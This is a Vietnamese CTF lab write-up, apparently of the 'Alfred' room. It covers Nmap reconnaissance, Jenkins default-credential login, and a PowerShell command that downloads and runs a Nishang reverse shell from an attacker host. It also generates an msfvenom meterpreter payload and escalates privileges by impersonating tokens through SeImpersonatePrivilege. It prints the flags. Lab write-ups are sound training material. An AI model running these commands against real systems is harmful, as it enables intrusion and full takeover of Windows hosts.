Initial Access

Chạy Nmap để thăm dò như sau:

sudo nmap -sS --top-ports 1000 -Pn -n -T3 -oN nmap_alfred.txt 10.10.22.184

Lý do sử dụng --top-ports 1000 là vì khi chạy với option -F thì bị thiếu mất một port TCP. Còn về việc sử dụng -Pn là vì target machine không phản hồi với ping scan.

Output:

PORT     STATE SERVICE
80/tcp   open  http
3389/tcp open  ms-wbt-server
8080/tcp open  http-proxy

Port 80 là một landing page bình thường. Port 8080 là một admin dashboard của Jenkins. Thử username và password là adminadmin thì đăng nhập được.

Tìm một chỗ có thể chạy câu lệnh, search google thì thấy nằm ở phần cấu hình build. Vào phần đó và nhập lệnh sau:

powershell iex (New-Object Net.WebClient).DownloadString('http://10.13.30.179:8888/Invoke-PowerShellTcp.ps1');Invoke-PowerShellTcp -Reverse -IPAddress 10.13.30.179 -Port 9999

Với 8888 là port của Web server dùng để tải script tạo revere shell của Nishang9999 là port mà Netcat server đang lắng nghe.

Sau khi cấu hình thì bấm “Save” và chọn “Build now” để Jenkins chạy câu lệnh vừa nhập. Nếu thành công thì ta sẽ nhận được một reverse shell ở phía Netcat server.

Truy cập vào C:\Users\bruce\user.txt và đọc được flag:

Success

79007a09481963edf2e1321abd9ae2a0

Switching Shell

Để chuyển sang meterpreter shell, trước tiên ta cần tạo một payload bằng Metasploit Venom như sau:

msfvenom -p windows/meterpreter/reverse_tcp -a x86 --encoder x86/shikata_ga_nai LHOST=10.13.30.179 LPORT=8899 -f exe -o alfred_reverse_tcp.exe

Kế đó, thực thi lệnh dưới ở reverse shell hiện tại của Netcat server:

powershell "(New-Object System.Net.WebClient).Downloadfile('http://10.13.30.179:8888/alfred_reverse_tcp.exe','alfred_reverse_tcp.exe')"

Ở phía attacking machine, chạy Metasploit Multi-Handler với các setup sau:

set PAYLOAD windows/meterpreter/reverse_tcp
set LHOST 10.13.30.179
set LPORT 8899

Thực thi payload alfred_reverse_tcp.exe để nhận meterpreter shell:

.\alfred_reverse_tcp.exe

Privilege Escalation

Access Token

Hệ điều hành Windows sử dụng các token để đảm bảo các người dùng có đầy đủ quyền khi thực thi các hành động cụ thể. Các token này được gán cho người dùng khi họ đăng nhập hoặc được xác thực và được thực hiện bởi LSASS.exe (có thể xem như là một tiến trình xác thực).

Một token sẽ bao gồm:

  • User SIDs (Secruty Idenfiers)
  • Group SIDs
  • Privileges

Có hai loại token:

  • Primary: được gắn với một người dùng và được tạo ra khi người dùng thực hiện đăng nhập.
  • Impersonation: cho phép một tiến trình cụ thể (hoặc một thread trong tiến trình) truy cập vào các tài nguyên bằng cách sử dụng token của user hoặc tiến trình khác.

Có một số level của impersonation token:

  • SecurityAnonymous: người dùng hiện tại không thể impersonate người dùng khác.
  • SecurityIdentification: người dùng hiện tại có thể lấy định danh và các quyền nhưng không thể impersonate người dùng khác .
  • SecurityImpersonation: người dùng hiện tại có thể impersonate security context của người dùng khác trên local system
  • SecurityDelegation: người dùng hiện tại có thể impersonate security context của người dùng khác trên remote system.

Với security context là một cấu trúc dữ liệu lưu các thông tin bảo mật của người dùng.

Danh sách các quyền thường bị lợi dụng để leo thang đặc quyền dựa trên token:

  • SeImpersonatePrivilege
  • SeAssignPrimaryPrivilege
  • SeTcbPrivilege
  • SeBackupPrivilege
  • SeRestorePrivilege
  • SeCreateTokenPrivilege
  • SeLoadDriverPrivilege
  • SeTakeOwnershipPrivilege
  • SeDebugPrivilege

Approach

Chuyển từ meterpreter shell sang shell thông thường:

shell

Sau đó dùng lệnh whoami /priv để liệt kê các quyền của người dùng hiện tại. Thu được hai quyền sau được enabled:

SeImpersonatePrivilege          Impersonate a client after authentication Enabled
SeCreateGlobalPrivilege         Create global objects                     Enabled

Ta biết được rằng có thể thực hiện leo thang đặc quyền dựa trên SeImpersonatePrivilege1.

Quay lại meterpreter shell và load incognito module của Metasploit để thực hiện impersonate dựa trên token:

load incognito

Nếu câu lệnh trên không hoạt động thì dùng use incognito.

Thực hiện lệnh sau để liệt kê danh sách các token:

list_tokens -g

Chúng ta thấy được token của Administrator: BUILTIN\Administrators. Chạy lệnh sau để impersonate:

impersonate_token "BUILTIN\Administrators"

Mặc dù đã impersonate nhưng chúng ta vẫn chưa có toàn quyền của Administrator. Lý do là vì nó sử dụng primary token của process chứ không phải impersonate token để xác định xem process có quyền gì.

Để có các quyền của Administrator, ta cần migrate sang một process có các quyền đó. Chạy lệnh ps để liệt kê các process. Ta có thể migrate sang process của services.exe bằng câu lệnh:

migrate PID

Với PID là process ID của services.exe đã tìm được khi dùng lệnh ps.

Sau khi leo thang thành công thì ta truy cập C:\Windows\System32\config\root.txt để đọc flag:

Success

dff0f748678f280250f25a45b8046b4a

Resources

Footnotes

  1. Có thể xem thêm cách làm thủ công ở trong SeAssignPrimaryToken.